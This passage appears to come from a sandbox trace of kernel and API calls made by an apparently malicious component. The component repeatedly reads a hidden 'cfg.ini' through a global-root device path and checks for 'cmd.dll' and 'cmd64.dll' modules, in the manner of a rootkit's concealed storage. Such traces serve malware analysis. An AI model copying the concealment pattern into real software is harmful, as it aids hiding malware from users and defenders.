KeLeaveCriticalRegion () [0121.460] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.460] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.460] KeEnterCriticalRegion () [0121.460] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.460] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b34000 [0121.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.461] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.461] IdePortDispatch () returned 0x103 [0121.461] KeWaitForMutexObject () returned 0x0 [0121.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.461] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.461] IdePortDispatch () returned 0x103 [0121.461] KeWaitForMutexObject () returned 0x0 [0121.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.461] KeLeaveCriticalRegion () [0121.461] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.461] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.462] KeEnterCriticalRegion () [0121.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.462] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.462] KeLeaveCriticalRegion () [0121.462] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.462] KeEnterCriticalRegion () [0121.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.462] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.462] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.462] KeLeaveCriticalRegion () [0121.462] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.462] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.462] KeEnterCriticalRegion () [0121.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.462] ExFreePoolWithTag (P=0xfffffa8003bc4380, Tag=0x0) [0121.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.462] KeLeaveCriticalRegion () [0121.462] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.462] ReleaseMutex (hMutex=0xf0) returned 1 [0121.462] Sleep (dwMilliseconds=0x124f80) [0121.476] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.476] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.476] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.477] KeEnterCriticalRegion () [0121.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.477] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.477] IdePortDispatch () returned 0x103 [0121.477] KeWaitForMutexObject () returned 0x0 [0121.477] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.477] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.477] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.477] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.477] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.477] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5f60 [0121.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.477] KeLeaveCriticalRegion () [0121.477] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.477] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.477] KeEnterCriticalRegion () [0121.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.477] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.477] KeLeaveCriticalRegion () [0121.477] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.477] KeEnterCriticalRegion () [0121.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.477] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.477] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.477] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.477] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.477] IdePortDispatch () returned 0x103 [0121.477] KeWaitForMutexObject () returned 0x0 [0121.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.478] KeLeaveCriticalRegion () [0121.478] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.478] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.478] KeEnterCriticalRegion () [0121.478] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.478] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b39000 [0121.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.478] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.478] IdePortDispatch () returned 0x103 [0121.478] KeWaitForMutexObject () returned 0x0 [0121.478] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.478] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.478] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.478] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.478] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.478] IdePortDispatch () returned 0x103 [0121.478] KeWaitForMutexObject () returned 0x0 [0121.478] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.478] KeLeaveCriticalRegion () [0121.478] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.479] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.479] KeEnterCriticalRegion () [0121.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.479] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.479] KeLeaveCriticalRegion () [0121.479] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.479] KeEnterCriticalRegion () [0121.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.479] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.479] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.479] KeLeaveCriticalRegion () [0121.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.479] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.479] KeEnterCriticalRegion () [0121.479] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.479] ExFreePoolWithTag (P=0xfffffa8003bc5f60, Tag=0x0) [0121.479] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.479] KeLeaveCriticalRegion () [0121.479] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.479] ReleaseMutex (hMutex=0xf0) returned 1 [0121.479] Sleep (dwMilliseconds=0x124f80) [0121.493] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.493] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.493] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.493] KeEnterCriticalRegion () [0121.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.493] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.493] IdePortDispatch () returned 0x103 [0121.494] KeWaitForMutexObject () returned 0x0 [0121.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.494] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.494] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.494] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.494] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.494] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc58c0 [0121.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.494] KeLeaveCriticalRegion () [0121.494] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.494] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.494] KeEnterCriticalRegion () [0121.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.494] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.494] KeLeaveCriticalRegion () [0121.494] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.494] KeEnterCriticalRegion () [0121.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.494] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.494] IdePortDispatch () returned 0x103 [0121.494] KeWaitForMutexObject () returned 0x0 [0121.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.494] KeLeaveCriticalRegion () [0121.494] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.495] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.495] KeEnterCriticalRegion () [0121.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.495] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3e000 [0121.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.495] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.495] IdePortDispatch () returned 0x103 [0121.495] KeWaitForMutexObject () returned 0x0 [0121.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.495] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.495] IdePortDispatch () returned 0x103 [0121.495] KeWaitForMutexObject () returned 0x0 [0121.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.495] KeLeaveCriticalRegion () [0121.495] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.496] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.496] KeEnterCriticalRegion () [0121.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.496] KeLeaveCriticalRegion () [0121.496] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.496] KeEnterCriticalRegion () [0121.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.496] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.496] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.496] KeLeaveCriticalRegion () [0121.496] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.496] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.496] KeEnterCriticalRegion () [0121.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.496] ExFreePoolWithTag (P=0xfffffa8003bc58c0, Tag=0x0) [0121.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.496] KeLeaveCriticalRegion () [0121.496] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.496] ReleaseMutex (hMutex=0xf0) returned 1 [0121.496] Sleep (dwMilliseconds=0x124f80) [0121.510] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.510] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.511] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.511] KeEnterCriticalRegion () [0121.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.511] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.511] IdePortDispatch () returned 0x103 [0121.511] KeWaitForMutexObject () returned 0x0 [0121.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.511] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.511] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.511] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.511] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.511] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5e50 [0121.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.511] KeLeaveCriticalRegion () [0121.511] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.511] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.511] KeEnterCriticalRegion () [0121.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.511] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.511] KeLeaveCriticalRegion () [0121.511] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.511] KeEnterCriticalRegion () [0121.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.511] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.511] IdePortDispatch () returned 0x103 [0121.511] KeWaitForMutexObject () returned 0x0 [0121.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.512] KeLeaveCriticalRegion () [0121.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.512] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.512] KeEnterCriticalRegion () [0121.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.512] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b43000 [0121.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.512] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.512] IdePortDispatch () returned 0x103 [0121.512] KeWaitForMutexObject () returned 0x0 [0121.512] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.512] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.512] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.512] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.512] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.512] IdePortDispatch () returned 0x103 [0121.512] KeWaitForMutexObject () returned 0x0 [0121.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.512] KeLeaveCriticalRegion () [0121.512] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.513] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.513] KeEnterCriticalRegion () [0121.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.513] 